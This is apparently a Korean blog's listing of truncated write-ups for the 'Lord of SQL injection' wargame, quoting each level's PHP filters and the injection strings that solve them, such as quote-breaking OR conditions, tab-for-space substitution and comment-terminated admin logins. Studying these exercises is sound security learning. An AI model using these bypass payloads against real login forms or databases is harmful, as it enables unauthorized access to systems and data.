본문 바로가기

WarGame/Web

(25)
[Lord of SQL injection] vampire 소스코드 분석$_GET[id] = str_replace("admin","",$_GET[id]);str_replace ($search, $replace, $subject [, int &$count ])admin 문자열찾으면 공백으로 치환한다. if($result['id'] == 'admin') solve("vampire"); id = 'admin' 를 만족하면 풀린다. ?id=Adminid=Admin
[Lord of SQL injection] troll 소스코드 분석if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~");if(@ereg("admin",$_GET[id])) exit("HeHe");ereg() 함수는 패턴과 일치하는 문자열이 발견될 경우에 True, 발견되지 않을 경우에는 False를 반환하는데, 이때 대소문자 구분을 한다. ereg(string pattern, string string, array[regs]); if($result['id'] == 'admin') solve("troll");id = 'admin' 를 만족하면 풀린다.ereg때문에 admin은 적지못하지만 대소문자 구별을 하므로 Admin을 사용(mysql에서는 컬럼명에 대해서는 기본적으로 대소문자 구별함데이터 타입에서 Varchar..
[Lord of SQL injection] orge 소스코드 분석if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");기존 Blind 문제에서 or and 를 사용못하게 해놨다. $query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'";if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge");admin의 pw를 찾는 Blind sql injection 문제이다.and (&&), or (||) 만 바꿔서 사용하면되겠다.전에 사용했던 소스코드를 조금만 수정해 사용하..
[Lord of SQL injection] darkelf 소스코드 분석if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");or, and 연산을 사용못하게 했다. if($result['id'] == 'admin') solve("darkelf"); 그리고 id=admin 이라는 조건만 맞추면 풀린다. or은 논리 연산자로 || 사용가능 하고, and는 논리 연산자로 && 사용할수가 있다. ?pw=%27%20||%20id=%27adminpw=' || id='admin
[Lord of SQL injection] wolfman 소스코드 분석if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~");공백을 사용못하게 하였다. if($result['id'] == 'admin') solve("wolfman");그리고 id='admin' 조건만 맞춰주면 풀리게되어있다. space는 아스키값으로 20(Hex)을 넣어주게 되면?pw=%27%20or%20id=%27adminpw='%20or%20id='admin 풀리지 않는다.그럼 Space를 대체할 문자를 넣어야하는데, 비슷한 Tab(09)을 넣게되면 풀린다. ?pw=%27%09or%09id=%27adminpw='%09or%09id='admin
[Lord of SQL injection] orc 소스코드 분석$_GET[pw] = addslashes($_GET[pw]); addslashes는 데이터 베이스에 저장이 될때 특수문자 앞에 \를 넣어준다.ex)insert into test (id) values ('$a') 이런 쿼리문에 'LOS'라는걸 입력을 해서 저장을 한다고 할때insert into test (id) values (''LOS'') 이런 에러를 피하기 위해서 적어준다.addslashes 적용 -> insert into test (id) values ('\'LOS\'') $query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"; $result = @mysql_fetch_array(mysql_query($query)..
[Lord of SQL injection] goblin 소스코드 분석if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~");no에 쿼터를 사용못하게 해놨다. 문자를 사용못하게 해놨으니no의 값을 조작해서 문제를 풀어야겠다. no에 1을 넣으니 Hello guest라는 문구가 뜬다. no에 2를 넣으니 문구가 뜨지 않는다.그럼 뒤에 or 조건을 줘서 id = 'guest' and no=0 (거짓) or no = ? 이렇게admin의 no를 찾아서 대입을 해본다. ?no=0%20or%20no%20=20 or no = 2
[Lord of SQL injection] cobolt 소스코드 분석gremlin 문제랑 별다를게 없음 if($result['id'] == 'admin') solve("cobolt");elseif($result['id']) echo "Hello {$result['id']} You are not admin :(";그래서 id를 admin 이라는 조건만 맞춰주면 풀림 ?id=admin%27%20%23admin' # -----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------..